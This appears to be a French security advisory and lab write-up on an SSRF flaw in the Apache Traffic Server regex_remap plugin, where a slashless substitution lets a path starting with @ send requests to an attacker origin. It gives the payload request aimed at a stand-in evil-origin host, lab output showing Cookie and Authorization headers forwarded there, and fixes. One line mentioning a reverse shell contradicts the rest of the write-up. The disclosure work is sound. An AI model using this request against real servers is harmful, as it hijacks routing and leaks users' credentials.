
Apache Traffic Server 10.2.0 - Élevée - Distante - SSRF - regex_remap noslash $n userinfo prise de contrôle de l'origine
abraxaslabs.tech · github.com/abraxas · @abraxas_null · [email protected] · ats-regex-remap-userinfo
Classe : SSRF Portée : Distante
Apache Traffic Server 10.2.0 (b1df7334) - Apache Software Foundation
La substitution $n de regex_remap est concaténée dans une chaîne puis transmise à TSUrlParse, qui effectue un url_clear puis l'analyse comme une URL complète. Une capture commençant par @ constitue un userinfo RFC 3986, de sorte que l'origine de l'opérateur devient le userinfo et l'hôte de l'attaquant devient l'origine. Cookie et Authorization sont transmis en tant qu'uid ATS.
Le reste est http://origin:port$1 (sans slash). La forme documentée http://origin/$1 reste sur l'origine de l'opérateur car le slash termine l'autorité. Plugin non chargé par défaut.
Il ne s'agit pas de CVE-2026-58179 (VLA url_len, désormais LocalBuffer) ni de CVE-2026-22068 (le regex_map du cœur est entièrement ancré).
| ID | pas encore de CVE |
| Classe | SSRF |
| Portée | Distante (HTTP non authentifié) |
| CWE | CWE-918 |
| CVSS | Élevé : 8.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N |
| Produit | Apache Traffic Server |
| Affecté | 10.2.0 (b1df7334b39a878971c376da849e8da4984918b6) regex_remap.so noslash $n |
| Auth | aucune. Plugin chargé. Subst http://origin:port$1. |
| Licence | GNU Affero GPL v3.0 |
| Lab | 127.0.0.1:18730 uniquement. Image ats-10.2.0-lab:local. |
J'ai épinglé le tag 10.2.0, commit b1df7334b39a878971c376da849e8da4984918b6. Image construite depuis les sources.
HTTP non authentifié vers un vhost dont le remap charge regex_remap.so avec $n immédiatement après host:port, sans slash.
| Méthode | Point d'impact | Privilège |
|---|---|---|
GET /@evil-origin:8080/x avec subst http://good-origin:8080$1 | TSUrlParse après url_clear (regex_remap.cc:1159-1168, URL.cc:1313-1327) | Intégrité / SSRF (prouvé en lab) : ATS compose evil-origin:8080 comme origine (userinfo=good-origin:8080). Cookie et Authorization transmis. |
| Idem | corps de l'origine attaquante | Reconnaissance (prouvé en lab) : ATS-REGEX-REMAP-USERINFO-WITNESS renvoyé au client. cookie-fwd=True authorization-fwd=True. |
Subst documentée http://good-origin:8080/$1 | l'autorité se termine au / | Fermé (prouvé en lab) : resté sur good-origin. |
Subst http://$1 | l'opérateur a placé $n dans l'autorité | SSRF (prouvé en lab) : a également atteint evil-origin. Erreur d'opérateur différente. |
Prouvé en lab vs déduit : reste sans slash, la forme documentée avec slash reste, dollar-at / dollar-host également malveillant, Cookie et Authorization transmis, contrôle /ok sur good-origin : lab. Ce que l'origine attaquante peut faire avec ces en-têtes dépend de ce qu'est déjà cet hôte.
Nécessite : le plugin regex_remap. Une map avec subst http://origin:port$1 (sans slash). remap_required est resté à 1 (pas un relais ouvert).
| Surface | Lab |
|---|---|
http://origin/$1 documentée | slash=good |
Hôte regex_map du cœur | RE_ANCHORED|RE_ENDANCHORED (CVE-2026-22068 fermé) |
| Pile url_len | LocalBuffer (CVE-2026-58179 fermé) |
Relais ouvert remap_required: 0 | non utilisé |
GET de CONTRÔLE /ok | good-origin, aucun témoin |
regex_remap construit une chaîne de destination à partir de $n et appelle TSUrlParse sur l'ensemble. Dans URL.cc, @ correspond à userinfo. Concaténez http://good-origin:8080 + @evil-origin:8080/x et le parseur fait exactement ce que dit la RFC 3986.
J'ai d'abord essayé la forme documentée. http://good-origin:8080/$1 avec le chemin /@evil-origin:8080/x devient http://good-origin:8080/@evil-origin:8080/x. Le slash termine l'autorité. On reste sur good-origin. Ce n'est pas le résidu.
Ensuite http://good-origin:8080$1 (sans slash). Destination http://good-origin:8080@evil-origin:8080/x. userinfo=good-origin:8080 host=evil-origin. Témoin sur l'origine malveillante. Cookie et Authorization ont suivi.
Fausses pistes : classer la forme documentée avec slash ; considérer le cœur regex_map comme ce plugin ; gonfler la VLA url_len (corrigé) ; considérer http://$1 comme le seul résidu (c'est une seconde erreur d'opérateur, pas celle du noslash).
Mise en scène : un reverse shell. L'oracle est un corps d'origine plus les en-têtes Cookie / Authorization transmis.
python3 ats-regex-remap-userinfo-Abraxas-Labs.py
ou
cd lab
./run.sh
Loopback 127.0.0.1:18730 (l'origine malveillante est également publiée sur 18731). Projet Compose ats-regex-remap-userinfo. Image ats-10.2.0-lab:local. Trois vhosts : slash / noslash / dollar. Témoin ATS-REGEX-REMAP-USERINFO-WITNESS. Dernière ligne :
SUCCESS ats-regex-remap-userinfo shape=noslash leftover=noslash http://good-origin:8080$1 (userinfo=good-origin:8080 host=evil-origin) slash=good noslash=evil dollar-at=evil dollar-host=evil cookie-fwd=True authorization-fwd=True control=/ok ATS-REGEX-REMAP-USERINFO-WITNESS
Ne concaténez pas $n dans l'autorité. Conservez une barre oblique entre l'hôte et la capture, ou analysez la substitution comme un chemin uniquement. Rejetez une destination dont l'hôte n'est pas l'origine de l'opérateur. Supprimez les informations utilisateur des URL construites par le plugin. La documentation doit cesser de laisser entendre que http://origin/$1 est la seule forme que les opérateurs écrivent.
b1df7334b39a878971c376da849e8da4984918b6)regex_remap.cc TSUrlParse après substURL.cc @ userinfoInkAPI.cc TSUrlParse